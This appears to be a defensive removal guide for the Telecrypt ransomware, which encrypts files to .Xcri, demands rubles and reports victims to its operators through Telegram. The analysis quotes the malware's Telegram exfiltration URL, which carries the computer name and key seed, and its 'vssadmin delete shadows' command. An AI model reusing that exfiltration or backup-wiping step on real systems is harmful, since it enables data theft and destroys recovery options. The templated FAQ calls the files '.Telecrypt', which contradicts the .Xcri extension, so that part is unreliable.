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Remove Telecrypt Virus and Restore .Xcri Files

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Telecrypt is how a new cryptovirus was dubbed by malware researchers because of its use of telegram channels. The encrypted files will have the extension .Xcri placed after their name. A window will pop up after the encryption process is finished, containing the ransom message, which is written in Russian. To see how to remove this ransomware and how you can try to restore your files, read the article till its end.

Threat Summary

NameTelecrypt
TypeRansomware, Cryptovirus
Short DescriptionThe ransomware will encrypt your files and then display a window with the ransom note and instructions for payment written entirely in Russian.
SymptomsEncrypted files will receive the extension .Xcri appended after their names.
Distribution MethodSpam Emails, Email Attachments
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Telecrypt Virus – Spread

The Telecrypt ransomware could enter your computer machine in a few ways. The payload file could be spread through spam emails. Often, these spam emails have an attached file and presented as important and requiring immediate action. In case you open the attachment, it will release the malware onto your computer system.

The Telecrypt virus could infect your computer by spreading its file containing the payload via social media and file-sharing services. Do not open files that come with suspicious emails, links or from unknown sources. Before you open them, you should first perform a scan with a security program and check the files, their size and signatures. You should read the tips for preventing ransomware from the topic in our forums.

Telecrypt Virus – Analysis

The Telecrypt virus was found by Kaspersky’s malware researchers who dubbed it that way. The name is derived from the fact that it uses telegram channels as C2 (Command&Control) servers. The ransomware is coded in the Delphi programming language, and it is not the first malware coded in that language.

Before the Telecrypt virus starts encrypting files, it performs a series of actions. Firstly, it creates a Telegram bot through the Telegram API. This API generates a token ID for every new bot that is created. Secondly, when you launch the Telegram binary, the cryptovirus pings the aforementioned API at the address https://api.telegram.org/bot/GetMe with the received token. That is performed to check if the bot is still active and not banned by Telegram administrators.

Afterward, the Telecrypt ransomware uses the program’s protocol to post a message to a Telegram channel, that has an ID hardcoded in the cryptovirus. The format of the message is the following:

→https://api.telegram.org/bot< token >/sendmessage?chat_id=< chat >&text=< computer_name >_< infection_id >_< key_seed >

Source: BleepingComputer

That command will get the cybercriminals information just like a C2 server. The information includes:

  • Names of the compromised computers
  • IDs of these compromised machines
  • Token IDs of the compromised PCs
  • Key Seed containing the string number used for the generation of the file encryption key

After that, the Telecrypt ransomware searches to encrypt various files.

The following directory contains information about the files that the virus has encrypted on your machine:

→%USERPROFILE%\Desktop\База зашифр файлов.txt

When the encryption process is complete, you will see a window with information. That information is written in Russian, but it is the actual ransom message. You can see a screenshot of that message right here:

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It reads the following:

Ярлык добавлен на рабочий стол!
Здравствуйте! Мы взломали Ваш компьютер! Все Ваши файлы форматов: doc, xls, jpg, jpeg, png, pdf, базы 1с, теперь зашифрованы. Вы можете проверить это прямо сечай!!! Что же Вам делать?
1) Вы можете удалить ярльк этой программы, но это не
поможет.
2) Вы можете вызвать мастера, но это не поможет(файлы не могут бьты рашифрованы без специального ключа).
3) Вы можете переустановить Windows, но это не поможет(все
ваши файлы будут удалены).
4) Вы можете нажать далее…

A rough translation in English reads:

The shortcut is added to your desktop!
Hello! We broke into your computer! All your file formats: doc, xls, jpg, jpeg, png, pdf, 1c base are now encrypted. You can check it out right now!!! What do you do?
1) You can remove this program, but it is not going to help.
2) You can call the master, but that does not help (files cannot be decrypted without a special key).
3) You can reinstall Windows, but it does not help (all
your files will be removed).
4) You can click on next …

If you click on the button Далее / Next, you will get 2 more windows:

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and

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In the next two windows, the cybercriminals explain that they want you to pay them 5000 Rubles – the equivalent of 50 US dollars. Also, Kaspersky researchers say that the final sentence on the last window states the following:

Thank you for helping Young Programmers Fund.

You should NOT think of paying as by doing it you might support some script kiddies or other cyber criminals. Nobody can guarantee you that paying will return your files to their normal state. Moreover, the crooks will probably use the money to create more ransomware.

The Telecrypt ransomware will encrypt files and put .Xcri as their new file extension. The following list contains the file extensions which the virus searches to encrypt:

→.doc, .docx, .jpg, .jpeg, .pdf, .png, .dt, .xls, .xlsx, .cd, .dbf

Only those 11 extensions will get encrypted, but those are more than enough to cause you a big headache. The Telecrypt virus is very likely to delete the Shadow Volume Copies from the Windows operating system by using the following command:

→vssadmin.exe delete shadows /all /Quiet

Continue to read and see what kind of methods you can try for the restoration of your files.

Remove Telecrypt and Restore .Xcri Files

If your computer got infected with the Telecrypt ransomware, you should have some experience in removing malware. You should get rid of this ransomware as fast as possible before it can have the chance to spread further and infect more computers. You should remove the ransomware and follow the step-by-step instructions guide given below. To see ways that you can try to recover your data, see the step titled 2. Restore files encrypted by Telecrypt.

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Attention! SensorsTechForum strongly recommends that all malware victims should look for assistance only by reputable sources. Many guides out there claim to offer free recovery and decryption for files encrypted by ransomware viruses. Be advised that some of them may only be after your money.

As a site that has been dedicated to providing free removal instructions for ransomware and malware since 2014, SensorsTechForum’s recommendation is to only pay attention to trustworthy sources.

How to recognize trustworthy sources:

  • Always check "About Us" web page.
  • Profile of the content creator.
  • Make sure that real people are behind the site and not fake names and profiles.
  • Verify Facebook, LinkedIn and Twitter personal profiles.


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Windows Mac OS X

How to Remove Telecrypt from Windows.


Step 1: Boot Your PC In Safe Mode to isolate and remove Telecrypt

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1. Hold Windows key() + R


2. The "Run" Window will appear. In it, type "msconfig" and click OK.


3. Go to the "Boot" tab. There select "Safe Boot" and then click "Apply" and "OK".
Tip: Make sure to reverse those changes by unticking Safe Boot after that, because your system will always boot in Safe Boot from now on.


4. When prompted, click on "Restart" to go into Safe Mode.


5. You can recognise Safe Mode by the words written on the corners of your screen.


Step 2: Uninstall Telecrypt and related software from Windows

Here is a method in few easy steps that should be able to uninstall most programs. No matter if you are using Windows 10, 8, 7, Vista or XP, those steps will get the job done. Dragging the program or its folder to the recycle bin can be a very bad decision. If you do that, bits and pieces of the program are left behind, and that can lead to unstable work of your PC, errors with the file type associations and other unpleasant activities. The proper way to get a program off your computer is to Uninstall it. To do that:


1. Hold the Windows Logo Button and "R" on your keyboard. A Pop-up window will appear.


2. In the field type in "appwiz.cpl" and press ENTER.


3. This will open a window with all the programs installed on the PC. Select the program that you want to remove, and press "Uninstall"
Follow the instructions above and you will successfully uninstall most programs.


Step 3: Clean any registries, created by Telecrypt on your computer.

The usually targeted registries of Windows machines are the following:

  • HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
  • HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
  • HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce
  • HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce

You can access them by opening the Windows registry editor and deleting any values, created by Telecrypt there. This can happen by following the steps underneath:

1. Open the Run Window again, type "regedit" and click OK.


2. When you open it, you can freely navigate to the Run and RunOnce keys, whose locations are shown above.


3. You can remove the value of the virus by right-clicking on it and removing it.
Tip: To find a virus-created value, you can right-click on it and click "Modify" to see which file it is set to run. If this is the virus file location, remove the value.

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Before starting "Step 4", please boot back into Normal mode, in case you are currently in Safe Mode.
This will enable you to install and use SpyHunter 5 successfully.

Step 4: Scan for Telecrypt with SpyHunter Anti-Malware Tool

1. Click on the "Download" button to proceed to SpyHunter's download page.


It is recommended to run a scan before purchasing the full version of the software to make sure that the current version of the malware can be detected by SpyHunter. Click on the corresponding links to check SpyHunter's EULA, Privacy Policy and Threat Assessment Criteria.


2. After you have installed SpyHunter, wait for it to update automatically.

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3. After the update process has finished, click on the 'Malware/PC Scan' tab. A new window will appear. Click on 'Start Scan'.

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4. After SpyHunter has finished scanning your PC for any files of the associated threat and found them, you can try to get them removed automatically and permanently by clicking on the 'Next' button.

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If any threats have been removed, it is highly recommended to restart your PC.

Step 5 (Optional): Try to Restore Files Encrypted by Telecrypt.

Ransomware infections and Telecrypt aim to encrypt your files using an encryption algorithm which may be very difficult to decrypt. This is why we have suggested a data recovery method that may help you go around direct decryption and try to restore your files. Bear in mind that this method may not be 100% effective but may also help you a little or a lot in different situations.

1. Download the reccomended Data Recovery software by clicking on the link underneath:

Simply click on the link and on the website menus on top, choose Data Recovery - Data Recovery Wizard for Windows or Mac (depending on your OS), and then download and run the tool.


Windows Mac OS X

Get rid of Telecrypt from Mac OS X.


Step 1: Uninstall Telecrypt and remove related files and objects

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1. Hit the ⇧+⌘+U keys to open Utilities. Another way is to click on “Go” and then click “Utilities”, like the image below shows:


2. Find Activity Monitor and double-click it:


3. In the Activity Monitor look for any suspicious processes, belonging or related to Telecrypt:

Tip: To quit a process completely, choose the “Force Quit” option.


4. Click on the "Go" button again, but this time select Applications. Another way is with the ⇧+⌘+A buttons.


5. In the Applications menu, look for any suspicious app or an app with a name, similar or identical to Telecrypt. If you find it, right-click on the app and select “Move to Trash”.


6: Select Accounts, after which click on the Login Items preference. Your Mac will then show you a list of items that start automatically when you log in. Look for any suspicious apps identical or similar to Telecrypt. Check the app you want to stop from running automatically and then select on the Minus (“-“) icon to hide it.


7: Remove any left-over files that might be related to this threat manually by following the sub-steps below:

  • Go to Finder.
  • In the search bar type the name of the app that you want to remove.
  • Above the search bar change the two drop down menus to “System Files” and “Are Included” so that you can see all of the files associated with the application you want to remove. Bear in mind that some of the files may not be related to the app so be very careful which files you delete.
  • If all of the files are related, hold the ⌘+A buttons to select them and then drive them to “Trash”.

In case you cannot remove Telecrypt via Step 1 above:

In case you cannot find the virus files and objects in your Applications or other places we have shown above, you can manually look for them in the Libraries of your Mac. But before doing this, please read the disclaimer below:

Disclaimer! If you are about to tamper with Library files on Mac, be sure to know the name of the virus file, because if you delete the wrong file, it may cause irreversible damage to your MacOS. Continue on your own responsibility!

1: Click on "Go" and Then "Go to Folder" as shown underneath:

2: Type in "/Library/LauchAgents/" and click Ok:

3: Delete all of the virus files that have similar or the same name as Telecrypt. If you believe there is no such file, do not delete anything.

You can repeat the same procedure with the following other Library directories:

→ ~/Library/LaunchAgents
/Library/LaunchDaemons

Tip: ~ is there on purpose, because it leads to more LaunchAgents.


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Step 3 (Optional): Try to Restore Files Encrypted by Telecrypt.

Ransomware infections and Telecrypt aim to encrypt your files using an encryption algorithm which may be very difficult to decrypt. This is why we have suggested a data recovery method that may help you go around direct decryption and try to restore your files. Bear in mind that this method may not be 100% effective but may also help you a little or a lot in different situations.

1. Download the reccomended Data Recovery software by clicking on the link underneath:

Simply click on the link and on the website menus on top, choose Data Recovery - Data Recovery Wizard for Windows or Mac (depending on your OS), and then download and run the tool.


Telecrypt FAQ

What is Telecrypt ransomware and how does it work?

Telecrypt is a ransomware infection - the malicious software that enters your computer silently and blocks either access to the computer itself or encrypt your files.

Many ransomware viruses use sophisticated encryption algorithm how to make your files inaccessible. The goal of ransomware infections is to demand that you pay a ransom payment to get access to your files back.

How does Telecrypt ransomware infect my computer?

Via several ways.Telecrypt Ransomware infects computers by being sent via phishing e-mails, containing virus attachment.

This attachment is usually masked as an important document, like an invoice, bank document or even a plane ticket and it looks very convincing to users.

After you download and execute this attachment, a drive-by download occurs and your computer is infected with the ransomware virus.

Another way, you may become a victim of Telecrypt is if you download a fake installer, crack or patch from a low reputation website or if you click on a virus link. Many users report getting a ransomware infection by downloading torrents.

How to open .Telecrypt files?

You can't. At this point the .Telecrypt files are encrypted. You can only open them once they are decrypted.

Decryptor did not decrypt my data. What now?

Do not panic and backup the files. If a decryptor did not decrypt your .Telecrypt files successfully, then do not despair, because this virus is still new.

One way to restore files, encrypted by Telecrypt ransomware is to use a decryptor for it. But since it's a new virus, advised that the decryption keys for it may not be out yet and available to the public. We will update this article and keep you posted as soon as this decryptor is released.

How Do I restore ".Telecrypt" files (Other Methods)?

Yes, sometimes files can be restored. We have suggested several file recovery methods that could work if you want to restore .Telecrypt files.

These methods are in no way 100% guarantee that you will be able to get your files back. But if you have a backup, your chances of success are much greater.

How do I get rid of Telecrypt ransomware virus?

The safest way and the most efficient one for the removal of this ransomware infection is the use a professional anti malware software. It will scan for and locate Telecrypt ransomware and then remove it without causing any additional harm to your important .Telecrypt files.

Also, keep in mind that viruses like Telecrypt ransomware also install Trojans and keyloggers that can steal your passwords and accounts. Scanning your computer with an anti-malware software will make sure that all of these virus components are removed and your computer is protected in the future.

What to Do If nothing works?

There is still a lot you can do. If none of the above methods seem to work for you, then try these methods:

  • Try to find a safe computer from where you can can login on your own line accounts like One Drive, iDrive, Google Drive and so on.
  • Try to contact your friends, relatives and other people so that they can check if they have some of your important photos or documents just in case you sent them.
  • Also, check if some of the files that were encrypted it can be re-downloaded from the web.
  • Another clever way to get back some of your files is to find another old computer, a flash drive or even a CD or a DVD where you may have saved your older documents. You might be surprised what will turn up.
  • You can also go to your email account to check if you can send any attachments to other people. Usually what is sent the email is saved on your account and you can re-download it. But most importantly, make sure that this is done from a safe computer and make sure to remove the virus first.

More tips you can find on our forums, where you can also asks any questions about your ransomware problem.

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